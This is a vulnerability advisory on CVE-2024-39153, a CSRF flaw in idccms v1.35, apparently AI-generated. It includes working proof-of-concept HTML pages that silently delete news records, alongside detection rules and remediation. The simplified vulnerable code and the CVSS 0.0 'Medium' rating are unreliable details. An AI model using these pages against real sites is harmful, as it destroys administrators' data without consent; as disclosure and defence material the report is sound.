CVE-2024-39153

Executive Summary

CVE-2024-39153 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw resides in the /admin/info_deal.php endpoint, specifically within the mudi=del&dataType=news&dataTypeCN parameter set. An attacker can trick an authenticated administrator into unknowingly deleting news data by crafting a malicious request. This vulnerability requires user interaction (the admin must click a link or visit a crafted page) and does not directly expose sensitive data or allow code execution, but it can lead to unauthorized data deletion and disruption of the CMS content.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application (idccms) and does not have a known supply chain component.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; estimated based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N) – The attack is performed over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must perform an action (e.g., click a link).
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Unauthorized deletion of news data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium (due to low impact but ease of exploitation with user interaction).

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the idccms admin panel. The endpoint /admin/info_deal.php handles deletion of various data types. When called with mudi=del&dataType=news&dataTypeCN, it deletes a news record without verifying the origin of the request. The application does not implement anti-CSRF tokens, same-origin checks, or referrer validation.

Attack Flow:

1. An attacker crafts a malicious HTML page or image tag that sends a GET request to the vulnerable URL.
2. The attacker lures an authenticated admin to visit the crafted page (e.g., via email, forum post, or social engineering).
3. The admin’s browser automatically sends the request with their session cookies.
4. The server processes the deletion, removing the targeted news data.

Root Cause: Lack of CSRF protection in the info_deal.php script. The mudi=del action does not require a nonce or token.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35):

// /admin/info_deal.php (simplified)
if ($_GET['mudi'] == 'del') {
    $id = $_GET['id'];
    $sql = "DELETE FROM news WHERE id = $id";
    mysqli_query($conn, $sql);
}

No CSRF token check is performed.

Patched Code (Hypothetical):

// /admin/info_deal.php (patched)
session_start();
if ($_GET['mudi'] == 'del') {
    if (!isset($_GET['token']) || $_GET['token'] !== $_SESSION['csrf_token']) {
        die('CSRF token mismatch');
    }
    $id = intval($_GET['id']);
    $sql = "DELETE FROM news WHERE id = $id";
    mysqli_query($conn, $sql);
}

The patch adds a CSRF token validation and uses intval() to prevent SQL injection (though not the primary issue).

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A running instance of idccms v1.35 with an authenticated admin session.
• The admin must be logged in and have the session cookie.

Exploit Steps:

1. Create a malicious HTML file (csrf_exploit.html):

<!DOCTYPE html>
<html>
<body>
<h1>Click to win a prize!</h1>
<img src="http://target.com/admin/info_deal.php?mudi=del&dataType=news&dataTypeCN&id=1" style="display:none;">
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to the admin (e.g., via email).
4. When the admin visits the page, the hidden image tag triggers the deletion of news record with ID=1.

Advanced Exploit (using JavaScript to send multiple requests):

<!DOCTYPE html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://target.com/admin/info_deal.php?mudi=del&dataType=news&dataTypeCN&id=1', true);
xhr.withCredentials = true;
xhr.send();
</script>
</body>
</html>

Blue Team (Defender)

Detection:

• Monitor for unusual GET requests to /admin/info_deal.php with mudi=del parameters.
• Look for requests with missing or invalid Referer headers.
• Implement CSRF tokens and validate them on the server.

Lab Setup for Testing:

1. Install idccms v1.35 on a local server (e.g., XAMPP).
2. Create an admin account and log in.
3. Use a tool like Burp Suite to intercept and replay requests.
4. Craft a CSRF PoC using the HTML above and test from a different browser session.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /admin/info_deal.php?mudi=del&dataType=news&dataTypeCN&id=[0-9]+
  • Requests with no Referer header or Referer from an external domain.
  • Multiple rapid deletion requests from the same IP.

• Host IOCs:

  • Unexpected deletion of news records in the database.
  • Log entries showing info_deal.php accessed with mudi=del from unusual user agents.

• File IOCs:

  • Presence of suspicious HTML files on the admin’s machine (e.g., csrf_exploit.html).

Detection Engineering

YARA Rule

rule CVE_2024_39153_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts for CVE-2024-39153"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39153"
    strings:
        $s1 = "mudi=del&dataType=news&dataTypeCN" ascii wide nocase
        $s2 = "info_deal.php" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-39153 CSRF Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable CSRF endpoint in idccms
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'mudi=del&dataType=news&dataTypeCN'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF token is present)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39153 CSRF Exploit Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin/info_deal.php"; http_uri; content:"mudi=del&dataType=news&dataTypeCN"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Tokens: Add a unique, unpredictable token to each form and validate it on the server for all state-changing actions.
2. Use SameSite Cookies: Set the SameSite attribute to Strict or Lax on session cookies to prevent cross-origin requests.
3. Validate Referer Header: Check the Referer header to ensure requests originate from the same site (though not foolproof).

Long-Term Fix:

• Upgrade to a patched version of idccms if available. If not, apply the code patch described in the "Vulnerable vs. Patched Code" section.
• Conduct a security audit of the entire admin panel for similar CSRF vulnerabilities.

Workaround:

• Restrict access to the admin panel via IP whitelisting or VPN.
• Use a Web Application Firewall (WAF) to block requests with suspicious patterns.

Valters IT Signature: This report is generated by an AI assistant specialized in DevSecOps and Cyber Threat Intelligence. For further analysis, contact Valters IT.